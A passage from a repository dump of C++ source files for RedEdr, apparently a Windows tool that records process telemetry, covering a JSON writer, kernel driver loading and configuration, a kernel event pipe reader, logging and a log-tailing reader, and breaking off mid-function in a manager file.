wss_jvalue(wss, *(jvalue.get()), singleline, level_plus) << L\",\";\n                    }\n                }\n                else\n                {\n                    wss_jvalue(wss, *(jvalue.get()));\n                }\n            }\n\n            if (singleline == false && comma_in_function)\n            {\n                wss << std::endl;\n            }\n        }\n\n        if (singleline)\n        {\n            wss << L\"}\";\n        }\n        else if (addcomma)\n        {\n            wss_intent(wss, level) << L\"},\" << std::endl;\n        }\n        else\n        {\n            wss_intent(wss, level) << L\"}\" << std::endl;\n        }\n\n        return wss;\n    }\n\n    static std::wstringstream& wss_jarray(std::wstringstream& wss, const JsonW& jarray,\n        bool singleline = true, size_t level = 0, bool addcomma = false)\n    {\n        size_t size = jarray.size();\n        size_t level_plus = 0;\n\n        if (singleline == false)\n        {\n            level_plus = level + 1;\n        }\n\n        wss_intent(wss, level) << L\"[\";\n\n        if (singleline == false)\n        {\n            wss << std::endl;\n        }\n\n        for (size_t i = 0; i < size; i++)\n        {\n            std::shared_ptr<JsonW> jvalue = jarray.get(i);\n            bool newline_end = true;\n\n            if (singleline == false)\n            {\n                size_t estimate_size = 0;\n                std::wstringstream wsstmp;\n                wss_jvalue(wsstmp, *(jvalue.get()));\n                estimate_size = wsstmp.str().length();\n\n                if (jvalue->type() == JsonW::OBJECT &&\n                    (jvalue->size() > 1 || estimate_size > 20))\n                {\n                    newline_end = false;\n                    if (i < size - 1)\n                    {\n                        wss_jobject(wss, *(jvalue.get()), singleline, level_plus, true);\n                    }\n                    else\n                    {\n                        wss_jobject(wss, *(jvalue.get()), singleline, level_plus);\n                    }\n                }\n                else if (jvalue->type() == JsonW::ARRAY && estimate_size > 20)\n                {\n                    newline_end = false;\n                    if (i < size - 1)\n                    {\n                        wss_jarray(wss, *(jvalue.get()), singleline, level_plus, true);\n                    }\n                    else\n                    {\n                        wss_jarray(wss, *(jvalue.get()), singleline, level_plus);\n                    }\n                }\n                else\n                {\n                    wss_intent(wss, level_plus);\n                    wss_jvalue(wss, *(jvalue.get()));\n\n                    if (i < size - 1)\n                    {\n                        wss << L\",\";\n                    }\n                }\n            }\n            else\n            {\n                wss_jvalue(wss, *(jvalue.get()), singleline, level_plus);\n\n                if (i < size - 1)\n                {\n                    wss << L\",\";\n                }\n            }\n\n            if (singleline == false && newline_end)\n            {\n                wss << std::endl;\n            }\n        }\n\n        if (singleline)\n        {\n            wss << L\"]\";\n        }\n        else if (addcomma)\n        {\n            wss_intent(wss, level) << L\"],\" << std::endl;\n        }\n        else\n        {\n            wss_intent(wss, level) << L\"]\" << std::endl;\n        }\n\n        return wss;\n    }\n\n    static std::wstringstream& wss_intent(std::wstringstream& wss, size_t level)\n    {\n        if (level == 0)\n        {\n            return wss;\n        }\n\n        std::wstring intent(level * 4, L' ');\n        wss << intent;\n        return wss;\n    }\n\n    // private static help function, write string into string buffer in json format \n    static std::wstringstream& wss_string(std::wstringstream& wss, const std::wstring& wstr)\n    {\n        wss << L\"\\\"\";\n\n        for (size_t i = 0; i < wstr.length(); i++)\n        {\n            wchar_t wchar = wstr.at(i);\n\n            switch (wchar)\n            {\n            case 0x22: wss << L\"\\\\\\\"\"; break;\n            case 0x5C: wss << L\"\\\\\\\\\"; break;\n            case 0x2F: wss << L\"\\\\/\"; break;\n            case 0x08: wss << L\"\\\\b\"; break;\n            case 0x0C: wss << L\"\\\\f\"; break;\n            case 0x0A: wss << L\"\\\\n\"; break;\n            case 0x0D: wss << L\"\\\\r\"; break;\n            case 0x09: wss << L\"\\\\t\"; break;\n            default: wss << wchar;\n            }\n        }\n\n        wss << L\"\\\"\";\n\n        return wss;\n    }\n\nprivate:\n    // private help function, release all resource \n    void clean()\n    {\n        jobject_.clear();\n        jarray_.clear();\n\n        type_ = NULLVALUE;\n        valid_ = true;\n    }\n\n    // private help function, read json data from wistream   \n    void init(std::wistream& ins)\n    {\n        // set locale to utf8\n        std::queue<JsonTokenW> tokens;\n        ins.imbue(std::locale(ins.getloc(), new std::codecvt_utf8<wchar_t>));\n\n        // parse tokens\n        JsonTokenW::parse(ins, tokens);\n\n        // convert to junit\n        parse(tokens);\n    }\n\nprivate:\n    // private member data\n    int type_ = NULLVALUE;\n    bool valid_ = false;\n\n    long long integer_ = 0;\n    long double frac_ = 0.0;\n    std::wstring wstring_;\n    bool boolean_ = true;\n\n    std::map<std::wstring, std::shared_ptr<JsonW>> jobject_;\n    std::vector<std::shared_ptr<JsonW>> jarray_;\n\n};\n\n#endif // OCTILLION_JSONW_HEADER"
  },
  {
    "path": "RedEdr/kernelinterface.cpp",
    "content": "#include <windows.h>\n#include <winioctl.h>\n#include \"../Shared/common.h\"\n\n#include \"logging.h\"\n#include \"config.h\"\n#include \"kernelinterface.h\"\n#include \"utils.h\"\n\n\n// KernelInterface: Functions to interact with the kernel driver (load/unload, enable/disable)\n\n\nBOOL ConfigureKernelDriver(int enable) {\n    HANDLE hDevice = INVALID_HANDLE_VALUE;\n    wchar_t* targetW = nullptr;\n\n    if (g_Config.targetProcessNames.empty()) {\n        LOG_A(LOG_ERROR, \"Kernel: No target process specified for kernel driver\");\n        return FALSE;\n    }\n    std::string target = g_Config.targetProcessNames[0];\n    \n    try {\n        hDevice = CreateFile(L\"\\\\\\\\.\\\\RedEdr\",\n            GENERIC_READ | GENERIC_WRITE,\n            0,\n            NULL,\n            OPEN_EXISTING,\n            FILE_ATTRIBUTE_NORMAL,\n            NULL);\n\n        if (hDevice == INVALID_HANDLE_VALUE) {\n            LOG_A(LOG_ERROR, \"Kernel: Failed to open device. Error: %d\", GetLastError());\n            return FALSE;\n        }\n        \n        targetW = string2wcharAlloc(target);\n        if (targetW == nullptr) {\n            LOG_A(LOG_ERROR, \"Kernel: Failed to convert target string to wchar_t\");\n            CloseHandle(hDevice);\n            return FALSE;\n        }\n    MY_DRIVER_DATA kernel_config = { 0 };\n    if (enable) {\n        size_t targetLen = wcslen(targetW);\n        if (targetLen >= sizeof(kernel_config.filename) / sizeof(wchar_t)) {\n            LOG_A(LOG_ERROR, \"Kernel: Target filename too long\");\n            delete[] targetW;\n            CloseHandle(hDevice);\n            return FALSE;\n        }\n        wcscpy_s(kernel_config.filename, sizeof(kernel_config.filename) / sizeof(wchar_t), targetW);\n        kernel_config.enable_dll_injection = g_Config.do_hook;\n        kernel_config.enable = enable;\n\n        if (g_Config.do_etwti) {\n            kernel_config.enable_etwti_events = 1;\n            if (g_Config.do_defendertrace) {\n                kernel_config.enable_etwti_events_defender = 1;\n            } else {\n                kernel_config.enable_etwti_events_defender = 0;\n            }\n        } else {\n            kernel_config.enable_etwti_events = 0;\n            kernel_config.enable_etwti_events_defender = 0;\n        }\n\n        // Log\n        LOG_A(LOG_INFO, \"Kernel: enable=%d, dll_injection=%d, etwti_events=%d, etwti_events_defender=%d, filename=%ls\",\n            kernel_config.enable,\n            kernel_config.enable_dll_injection,\n            kernel_config.enable_etwti_events,\n            kernel_config.enable_etwti_events_defender,\n            kernel_config.filename);\n    }\n    else {\n        kernel_config.enable = 0;        \n        kernel_config.enable_etwti_events = 0;\n        kernel_config.enable_etwti_events_defender = 0;\n    }\n    delete[] targetW;  // Free allocated memory\n    char buffer_incoming[KRN_CONFIG_LEN] = { 0 }; // Answer will be \"OK\" or \"FAIL\" so this is enough\n    DWORD bytesReturned = 0;\n    BOOL success = DeviceIoControl(hDevice,\n        IOCTL_MY_IOCTL_CODE,\n            (LPVOID)&kernel_config,\n            (DWORD)sizeof(kernel_config),\n            buffer_incoming,\n            sizeof(buffer_incoming), // this should get the correct size\n            &bytesReturned,\n            NULL);\n        if (!success) {\n            LOG_A(LOG_ERROR, \"Kernel: DeviceIoControl failed. Error: %d\", GetLastError());\n            CloseHandle(hDevice);\n            return FALSE;\n        }\n\n        if (bytesReturned == 0) {\n            LOG_A(LOG_ERROR, \"Kernel: DeviceIoControl returned no data\");\n            CloseHandle(hDevice);\n            return FALSE;\n        }\n\n        // Ensure null termination\n        buffer_incoming[min(bytesReturned, sizeof(buffer_incoming) - 1)] = '\\0';\n\n        if (strcmp(buffer_incoming, \"OK\") == 0) {\n            LOG_A(LOG_INFO, \"Kernel: Kernel Driver enabling/disabling (%d) ok\", enable);\n            CloseHandle(hDevice);\n            return TRUE;\n        }\n        else {\n            LOG_A(LOG_ERROR, \"Kernel: Kernel Driver enabling/disabling (%d) failed. Response: %s\", enable, buffer_incoming);\n            CloseHandle(hDevice);\n            return FALSE;\n        }\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"Kernel: Exception in ConfigureKernelDriver: %s\", e.what());\n        if (targetW) delete[] targetW;\n        if (hDevice != INVALID_HANDLE_VALUE) CloseHandle(hDevice);\n        return FALSE;\n    }\n}\n\n\nBOOL LoadKernelDriver() {\n    SC_HANDLE hSCManager = NULL;\n    SC_HANDLE hService = NULL;\n    LPCWSTR driverName = g_Config.driverName;\n    LPCWSTR driverPath = g_Config.driverPath;\n    BOOL ret = FALSE;\n\n    // Open the Service Control Manager\n    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n    if (!hSCManager) {\n        LOG_A(LOG_ERROR, \"Kernel: OpenSCManager failed. Error: %lu\", GetLastError());\n        return FALSE;\n    }\n\n    // Create the service (driver)\n    hService = CreateService(\n        hSCManager,              // SCM handle\n        driverName,              // Name of the service\n        driverName,              // Display name\n        SERVICE_ALL_ACCESS,      // Desired access\n        SERVICE_KERNEL_DRIVER,   // Service type (kernel driver)\n        SERVICE_DEMAND_START,    // Start type (on demand)\n        SERVICE_ERROR_NORMAL,    // Error control type\n        driverPath,              // Path to the driver executable\n        NULL,                    // No load ordering group\n        NULL,                    // No tag identifier\n        NULL,                    // No dependencies\n        NULL,                    // LocalSystem account\n        NULL                     // No password\n    );\n\n    if (!hService) {\n        if (GetLastError() == ERROR_SERVICE_EXISTS) {\n            LOG_A(LOG_INFO, \"Kernel: Service already exists. Opening existing service...\");\n            hService = OpenService(hSCManager, driverName, SERVICE_ALL_ACCESS);\n            if (!hService) {\n                LOG_A(LOG_ERROR, \"Kernel: OpenService failed. Error: %lu\", GetLastError());\n                ret = FALSE;\n                goto cleanup;\n            }\n        }\n        else {\n            LOG_A(LOG_ERROR, \"Kernel: CreateService failed. Error: %lu\", GetLastError());\n            ret = FALSE;\n            goto cleanup;\n        }\n    }\n\n    // Start the service (load the driver)\n    if (!StartService(hService, 0, NULL)) {\n        if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {\n            LOG_A(LOG_ERROR, \"Kernel: StartService failed. Error: %lu\", GetLastError());\n            ret = FALSE;\n            goto cleanup;\n        }\n        else {\n            ret = TRUE;  // Service already running should be success\n            LOG_A(LOG_INFO, \"Kernel: Service already running.\");\n        }\n    }\n    else {\n        ret = TRUE;\n        LOG_A(LOG_INFO, \"Kernel: Service started successfully.\");\n    }\n\ncleanup:\n    if (hService) {\n        if (!ret) {\n            // Only delete service if we failed to start it\n            DeleteService(hService);\n        }\n        CloseServiceHandle(hService);\n    }\n    if (hSCManager) {\n        CloseServiceHandle(hSCManager);\n    }\n\n    return ret;\n}\n\n\nBOOL UnloadKernelDriver() {\n    SC_HANDLE hSCManager = NULL;\n    SC_HANDLE hService = NULL;\n    SERVICE_STATUS status;\n    LPCWSTR driverName = g_Config.driverName;\n    BOOL ret = FALSE;\n\n    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n    if (!hSCManager) {\n        LOG_A(LOG_ERROR, \"Kernel: OpenSCManager failed. Error: %lu\", GetLastError());\n        return FALSE;\n    }\n\n    hService = OpenService(hSCManager, driverName, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS);\n    if (!hService) {\n        LOG_A(LOG_ERROR, \"Kernel: OpenService failed. Error: %lu\", GetLastError());\n        ret = FALSE;\n        goto cleanup;\n    }\n\n    if (ControlService(hService, SERVICE_CONTROL_STOP, &status)) {\n        LOG_A(LOG_INFO, \"Kernel: Service stopped successfully.\");\n        ret = TRUE;\n    }\n    else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {\n        LOG_A(LOG_INFO, \"Kernel: Service is not running.\");\n        ret = TRUE;\n    }\n    else {\n        LOG_A(LOG_ERROR, \"Kernel: ControlService failed. Error: %lu\", GetLastError());\n        ret = FALSE;\n        goto cleanup;\n    }\n\n    if (!DeleteService(hService)) {\n        LOG_A(LOG_ERROR, \"Kernel: DeleteService failed. Error: %lu\", GetLastError());\n        ret = FALSE;\n        goto cleanup;\n    }\n    else {\n        LOG_A(LOG_INFO, \"Kernel: Service deleted successfully.\");\n    }\n\ncleanup:\n    if (hService) CloseServiceHandle(hService);\n    if (hSCManager) CloseServiceHandle(hSCManager);\n\n    return ret;\n}\n"
  },
  {
    "path": "RedEdr/kernelinterface.h",
    "content": "#pragma once\n\nBOOL ConfigureKernelDriver(int enable);\nBOOL LoadKernelDriver();\nBOOL UnloadKernelDriver();\nBOOL IsServiceRunning(LPCWSTR driverName);\n"
  },
  {
    "path": "RedEdr/kernelreader.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"../Shared/common.h\"\n#include \"logging.h\"\n#include \"kernelreader.h\"\n#include \"piping.h\"\n#include \"event_aggregator.h\"\n\n#pragma comment (lib, \"wintrust.lib\")\n#pragma comment(lib, \"dbghelp.lib\")\n#pragma comment(lib, \"crypt32.lib\")\n\n\n// KernelReader: Reads events from the kernel pipe (from Kernel Callbacks)\n\n\n// Private variables\nHANDLE hStopEventKernel = NULL;     // signaled to request thread stop\nHANDLE hKernelThreadHandle = NULL;   // stored thread handle for join/terminate\nHANDLE kernel_pipe = NULL;\nPipeServer* kernelPipeServer = NULL;\nHANDLE threadReadynessKernel; // ready to accept clients\n\n// Private functions\nDWORD WINAPI KernelReaderProcessingThread(LPVOID param);\n\n\nbool KernelReaderInit(std::vector<HANDLE>& threads) {\n    hStopEventKernel = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventKernel == NULL) {\n        LOG_A(LOG_ERROR, \"KernelReader: Failed to create stop event\");\n        return false;\n    }\n    threadReadynessKernel = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (threadReadynessKernel == NULL) {\n        LOG_A(LOG_ERROR, \"KernelReader: Failed to create event for thread readyness\");\n        CloseHandle(hStopEventKernel);\n        hStopEventKernel = NULL;\n        return false;\n    }\n\n    LOG_A(LOG_DEBUG, \"!KernelReader: Start thread\");\n    HANDLE thread = CreateThread(NULL, 0, KernelReaderProcessingThread, NULL, 0, NULL);\n    if (thread == NULL) {\n        LOG_A(LOG_ERROR, \"KernelReader: Failed to create thread for trace session logreader\");\n        return false;\n    }\n    hKernelThreadHandle = thread;\n\n    WaitForSingleObject(threadReadynessKernel, INFINITE);\n    threads.push_back(thread);\n\n    return true;\n}\n\n\nDWORD WINAPI KernelReaderProcessingThread(LPVOID param) {\n    // Loop which accepts new clients\n    while (WaitForSingleObject(hStopEventKernel, 0) != WAIT_OBJECT_0) {\n        LOG_A(LOG_DEBUG, \"KernelReader: Waiting for kernel\");\n        kernelPipeServer = new PipeServer(\"RedEdr KernelReader\", (wchar_t*) KERNEL_PIPE_NAME);\n        kernelPipeServer->Start(TRUE);\n        SetEvent(threadReadynessKernel); // signal the event\n        if (!kernelPipeServer->WaitForClient()) {\n            LOG_A(LOG_ERROR, \"KernelReader: WaitForClient failed\");\n            kernelPipeServer->Shutdown();\n            continue;\n        }\n\t\tLOG_A(LOG_INFO, \"KernelReader: Kernel connected\");\n        while (WaitForSingleObject(hStopEventKernel, 0) != WAIT_OBJECT_0) {\n            std::vector<std::string> events = kernelPipeServer->ReceiveBatch();\n            if (events.empty()) {\n                break;\n            }\n            for (const auto& event : events) {\n                g_EventAggregator.NewEvent(event);\n            }\n        }\n\n        kernelPipeServer->Shutdown();\n        delete kernelPipeServer;\n        kernelPipeServer = NULL;\n    }\n\n    LOG_A(LOG_DEBUG, \"!Kernel Reader: Thread finished\");\n    return 0;\n}\n\n\nvoid KernelReaderShutdown() {\n    // Signal stop\n    if (hStopEventKernel != NULL) {\n        SetEvent(hStopEventKernel);\n    }\n\n    // Cancel any pending synchronous I/O in the reader thread.\n    // The thread may be blocked in ConnectNamedPipe (WaitForClient) or in\n    // ReadFile (ReceiveBatch, which holds pipe_mutex).  CancelSynchronousIo\n    // unblocks both cases without trying to acquire the mutex.\n    if (hKernelThreadHandle != NULL) {\n        CancelSynchronousIo(hKernelThreadHandle);\n    }\n\n    // Wait for thread to exit cleanly\n    if (hKernelThreadHandle != NULL) {\n        if (WaitForSingleObject(hKernelThreadHandle, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"KernelReader: Thread did not exit in time, force-terminating\");\n            TerminateThread(hKernelThreadHandle, 1);\n        }\n        CloseHandle(hKernelThreadHandle);\n        hKernelThreadHandle = NULL;\n    }\n\n    // Clean up pipe server if the thread left it behind (e.g. cancelled in WaitForClient path)\n    if (kernelPipeServer != NULL) {\n        delete kernelPipeServer;\n        kernelPipeServer = NULL;\n    }\n\n    if (hStopEventKernel != NULL) {\n        CloseHandle(hStopEventKernel);\n        hStopEventKernel = NULL;\n    }\n}\n\n"
  },
  {
    "path": "RedEdr/kernelreader.h",
    "content": "#pragma once\n\n#include <vector>\n\nbool KernelReaderInit(std::vector<HANDLE>& threads);\nvoid KernelReaderShutdown();\n"
  },
  {
    "path": "RedEdr/logging.cpp",
    "content": "#include <iostream>\n#include <windows.h>\n#include <vector>\n#include <string>\n#include <mutex>\n\n#include <chrono>\n#include <ctime>\n#include <iomanip>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <fstream>\n\n#include \"logging.h\"\n#include \"loguru.hpp\"\n\nstd::vector<std::string> error_messages;\nstd::mutex error_mutex;\nstd::ofstream log_file;\n\n#define DO_LOG_DEBUG 0\n\n// Initialize log file\nvoid InitLogFile() {\n    static bool initialized = false;\n    if (!initialized) {\n        // Create directory if it doesn't exist\n        CreateDirectoryA(\"c:\\\\rededr\", NULL);\n        log_file.open(\"c:\\\\rededr\\\\rededr.log\", std::ios::app);\n        initialized = true;\n    }\n}\n\n\nstd::vector <std::string> GetAgentLogs() {\n    return error_messages;\n}\n\n\nvoid LOG_A(int verbosity, const char* format, ...)\n{\n    if (!DO_LOG_DEBUG && verbosity == LOG_DEBUG) {\n        return;\n    }\n\n    va_list args;\n    va_start(args, format);\n    char buffer[DATA_BUFFER_SIZE] = { 0 };\n    vsnprintf_s(buffer, sizeof(buffer), format, args);\n    //printf(\"%s\\n\", buffer);\n    switch (verbosity) {\n    case LOG_ERROR:\n        LOG_F(ERROR, \"%s\", buffer);\n        break;\n\n    case LOG_WARNING:\n        LOG_F(WARNING, \"%s\", buffer);\n        break;\n\n    case LOG_INFO:\n        LOG_F(INFO, \"%s\", buffer);\n        break;\n\n    case LOG_DEBUG:\n        LOG_F(INFO, \"%s\", buffer);\n        break;\n    }\n    va_end(args);\n\n    std::lock_guard<std::mutex> lock(error_mutex);\n\n    {\n        using namespace std::chrono;\n\n        // Get current time point\n        auto now = system_clock::now();\n        auto in_time_t = system_clock::to_time_t(now);\n        auto ms = duration_cast<milliseconds>(now.time_since_epoch()) % 1000;\n\n        // Convert to local time using localtime_s (thread-safe)\n        std::tm local_tm;\n        if (localtime_s(&local_tm, &in_time_t) != 0) {\n            // Fallback in case localtime_s fails\n            error_messages.push_back(\"Failed to get local time - \" + std::string(buffer));\n            return;\n        }\n\n        // Format time string\n        std::ostringstream oss;\n        oss << std::put_time(&local_tm, \"%Y-%m-%d %H:%M:%S\");\n        oss << '.' << std::setfill('0') << std::setw(3) << ms.count();\n        oss << \" - \" << buffer;\n\n        std::string log_entry = oss.str();\n        error_messages.push_back(log_entry);\n\n        // Write to file\n        InitLogFile();\n        if (log_file.is_open()) {\n            log_file << log_entry << std::endl;\n            log_file.flush();\n        }\n    }\n\n    //error_messages.push_back(std::string(buffer));\n}\n\n\nvoid LOG_W(int verbosity, const wchar_t* format, ...)\n{\n    if (!DO_LOG_DEBUG && verbosity == LOG_DEBUG) {\n        return;\n    }\n\n    va_list args;\n    va_start(args, format);\n    wchar_t wide_buffer[DATA_BUFFER_SIZE];\n    vswprintf_s(wide_buffer, sizeof(wide_buffer) / sizeof(wchar_t), format, args);\n    char buffer[DATA_BUFFER_SIZE];\n    int result = WideCharToMultiByte(CP_UTF8, 0, wide_buffer, -1, buffer, sizeof(buffer), NULL, NULL);\n\n    switch (verbosity) {\n    case LOG_ERROR:\n        LOG_F(ERROR, \"%s\", buffer);\n        break;\n\n    case LOG_WARNING:\n        LOG_F(WARNING, \"%s\", buffer);\n        break;\n\n    case LOG_INFO:\n        LOG_F(INFO, \"%s\", buffer);\n        break;\n\n    case LOG_DEBUG:\n        LOG_F(INFO, \"%s\", buffer);\n        break;\n    }\n    va_end(args);\n\n    std::lock_guard<std::mutex> lock(error_mutex);\n\n    {\n        using namespace std::chrono;\n\n        // Get current time point\n        auto now = system_clock::now();\n        auto in_time_t = system_clock::to_time_t(now);\n        auto ms = duration_cast<milliseconds>(now.time_since_epoch()) % 1000;\n\n        // Convert to local time using localtime_s (thread-safe)\n        std::tm local_tm;\n        if (localtime_s(&local_tm, &in_time_t) != 0) {\n            // Fallback in case localtime_s fails\n            error_messages.push_back(\"Failed to get local time - \" + std::string(buffer));\n            return;\n        }\n\n        // Format time string\n        std::ostringstream oss;\n        oss << std::put_time(&local_tm, \"%Y-%m-%d %H:%M:%S\");\n        oss << '.' << std::setfill('0') << std::setw(3) << ms.count();\n        oss << \" - \" << std::string(buffer);\n\n        std::string log_entry = oss.str();\n        error_messages.push_back(log_entry);\n\n        // Write to file\n        InitLogFile();\n        if (log_file.is_open()) {\n            log_file << log_entry << std::endl;\n            log_file.flush();\n        }\n    }\n\n    //error_messages.push_back(std::string(buffer));\n}\n"
  },
  {
    "path": "RedEdr/logging.h",
    "content": "#pragma once\n\n#include <vector>\n#include <string>\n\n#include \"../Shared/common.h\"\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\nstd::vector <std::string> GetAgentLogs();\n\n"
  },
  {
    "path": "RedEdr/logreader.cpp",
    "content": "#include <windows.h>\n#include <vector>\n#include <string>\n\n#include \"logging.h\"\n#include \"logreader.h\"\n#include \"utils.h\"\n#include \"event_aggregator.h\"\n\n\n// Will be checked each second and exit thread if true\nbool LogReaderThreadStopFlag = FALSE;\n\n\nvoid LogReaderStopAll() {\n    LogReaderThreadStopFlag = TRUE;\n}\n\n\n// Stupid but working tail-f implementation\n// Just checks every second for new data\nvoid tailFileW(const wchar_t* filePath) {\n    LOG_A(LOG_INFO, \"LOG: Tail -f %ls\", filePath);\n\n    HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"LOG: Failed to open file. Error: %lu\", GetLastError());\n        return;\n    }\n\n    // Buffer for reading the file\n    const DWORD bufferSize = 1024;\n    wchar_t buffer[bufferSize / sizeof(wchar_t)];\n    DWORD bytesRead;\n    LARGE_INTEGER fileSize;\n    LARGE_INTEGER offset;\n\n    // Get the file size\n    if (!GetFileSizeEx(hFile, &fileSize)) {\n        LOG_A(LOG_ERROR, \"LOG: Failed to get file size. Error: %lu\", GetLastError());\n        CloseHandle(hFile);\n        return;\n    }\n\n    // Start reading from the end of the file\n    offset.QuadPart = fileSize.QuadPart;\n    while (!LogReaderThreadStopFlag) {\n        // Check if there's new data\n        LARGE_INTEGER newSize;\n        if (!GetFileSizeEx(hFile, &newSize)) {\n            LOG_A(LOG_ERROR, \"LOG: Failed to get file size. Error: %lu\", GetLastError());\n            break;\n        }\n\n        if (newSize.QuadPart > offset.QuadPart) {\n            // Move the file pointer to the last read position\n            SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);\n\n            // Read the new data\n            if (!ReadFile(hFile, buffer, bufferSize - sizeof(wchar_t), &bytesRead, NULL)) {\n                LOG_A(LOG_INFO, \"LOG: Failed to read file. Error: %lu\", GetLastError());\n                break;\n            }\n\n            // Null-terminate the buffer\n            buffer[bytesRead / sizeof(wchar_t)] = L'\\0';\n\n            // Print the new data (including newline?)\n            g_EventAggregator.do_output(std::wstring(buffer));\n            //wprintf(L\"%s\", buffer);\n\n            // Update the offset\n            offset.QuadPart += bytesRead;\n        }\n\n        // Sleep for a while before checking again\n        Sleep(1000);\n    }\n\n    CloseHandle(hFile);\n}\n\n\nstd::wstring findFiles(const std::wstring& directory, const std::wstring& pattern) {\n    /*WIN32_FIND_DATA findFileData;\n    HANDLE hFind = INVALID_HANDLE_VALUE;\n    std::wstring fullPattern = directory + L\"\\\\\" + pattern;\n\n    // Find the first file in the directory\n    hFind = FindFirstFile(fullPattern.c_str(), &findFileData);\n\n    if (hFind == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"LOG: No files found matching the pattern: %ls\", pattern.c_str());\n        return L\"\";\n    }\n    else {\n        do {\n            //std::wcout << findFileData.cFileName << std::endl;\n            return directory + L\"\\\\\" + findFileData.cFileName;\n        } while (FindNextFile(hFind, &findFileData) != 0);\n\n        DWORD dwError = GetLastError();\n        FindClose(hFind);\n        if (dwError != ERROR_NO_MORE_FILES) {\n            LOG_A(LOG_ERROR, \"LOG: Error occurred while finding files: %d\", dwError);\n            return L\"\";\n        }\n    }\n    */\n    return L\"\";\n}\n\n\nDWORD WINAPI LogReaderProcessingThread(LPVOID param) {\n    const wchar_t* path = (wchar_t*)param;\n    LOG_A(LOG_INFO, \"LOG: Start LogReaderProcessingThread: %ls\", path);\n    tailFileW(path);\n    LOG_A(LOG_INFO, \"LOG: Stopped LogReaderProcessingThread\");\n    return 0;\n}\n\n\nBOOL InitializeLogReader(std::vector<HANDLE>& threads) {\n    std::wstring directory;\n    std::wstring pattern;\n\n    directory = L\"C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Support\";\n    pattern = L\"MPLog-*\";\n\n    if (TRUE) {\n        directory = L\"C:\\\\temp\";\n        pattern = L\"test*\";\n    }\n\n    std::wstring path = findFiles(directory, pattern);\n    if (path == L\"\") {\n        LOG_A(LOG_ERROR, \"LOG: File not found: %ls\", pattern.c_str());\n        return 1;\n    }\n\n    wchar_t* real_path = wstring2wcharAlloc(path);\n    HANDLE thread = CreateThread(NULL, 0, LogReaderProcessingThread, (LPVOID)real_path, 0, NULL);\n    if (thread == NULL) {\n        LOG_A(LOG_ERROR, \"LOG: Failed to create thread for trace session logreader\");\n        return 1;\n    }\n    threads.push_back(thread);\n\n    //tailFileW(path.c_str());\n    return TRUE;\n}\n\n"
  },
  {
    "path": "RedEdr/logreader.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <string>\n\n\nstd::wstring findFiles(const std::wstring& directory, const std::wstring& pattern);\nBOOL InitializeLogReader(std::vector<HANDLE>& threads);\nvoid tailFileW(const wchar_t* filePath);\nvoid LogReaderStopAll();"
  },
  {
    "path": "RedEdr/manager.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <string>\n\n#include \"config.h\"\n#include \"etwreader.h\"\n#include \"kernelreader.h\"\n#include \"webserver.h\"\n#include \"dllreader.h\"\n#include \"pplreader.h\"\n#include \"kernelinterface.h\"\n#include \"pplmanager.h\"\n#include \"logging.h\"\n#include \"event_processor.h\"\n#include \"event_aggregator.h\"\n#include \"process_resolver.h\"\n#include \"logreader.h\"\n\n\n/* manager.cpp: Knows and manages all subsystems (Input's)\n *   start, stop, restart components\n *   start, stop, restart components logging\n *   set new configuration (process trace etc.)\n */\n\n\nBOOL ManagerApplyNewTargets(std::vector<std::string> traceNames) {\n    LOG_A(LOG_INFO, \"Trace targets: %zu targets\", traceNames.size());\n    for (const auto& target : traceNames) {\n        LOG_A(LOG_INFO, \"  - %s\", target.c_str());\n    }\n    g_Config.targetProcessNames = traceNames;\n\n    // DLL\n    // -> Automatic upon connect of DLL (initiated by Kernel)\n\n    // ETW\n    if (g_Config.do_etw) {\n        // Re-evaluate all cached processes with the new target names\n        g_ProcessResolver.SetTargetNames(g_Config.targetProcessNames);\n        g_ProcessResolver.RefreshTargetMatching();\n    }\n    \n    // Kernel Config\n    if (g_Config.do_kernel) {\n        // Kernel driver only supports one target at a time, use the first one\n        LOG_A(LOG_INFO, \"Manager: Configure kernel module\");\n        if (!ConfigureKernelDriver(true)) {\n            LOG_A(LOG_ERROR, \"Manager: Could not communicate with kernel driver, aborting.\");\n            return FALSE;\n        }\n    }\n\n    // PPL\n    if (g_Config.do_etwti) {\n        LOG_A(LOG_INFO, \"Manager: Tell ETW-TI about new targets: %zu names\", g_Config.targetProcessNames.size());\n        if (!EnablePplProducer(true, g_Config.targetProcessNames, g_Config.do_defendertrace)) {\n            LOG_A(LOG_ERROR, \"Manager: Failed to enable PPL producer\");\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\n\nBOOL ManagerStart(std::vector<HANDLE>& threads) {\n\tLOG_A(LOG_INFO, \"Manager: Starting all subsystems...\");\n    try {\n        // Kernel: Load module, and reader\n        if (g_Config.do_kernel) {\n            // Kernel: Driver load\n            if (!IsServiceRunning(g_Config.driverName)) {\n                LOG_A(LOG_INFO, \"Manager: Kernel Driver load\");\n                if (!LoadKernelDriver()) {\n                    LOG_A(LOG_ERROR, \"Manager: Kernel driver could not be loaded\");\n                    return FALSE;\n                }\n            }\n\n            // Kernel: Start Reader Thread\n            LOG_A(LOG_INFO, \"Manager: Kernel Reader init\");\n            if (!KernelReaderInit(threads)) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to initialize kernel reader\");\n                return 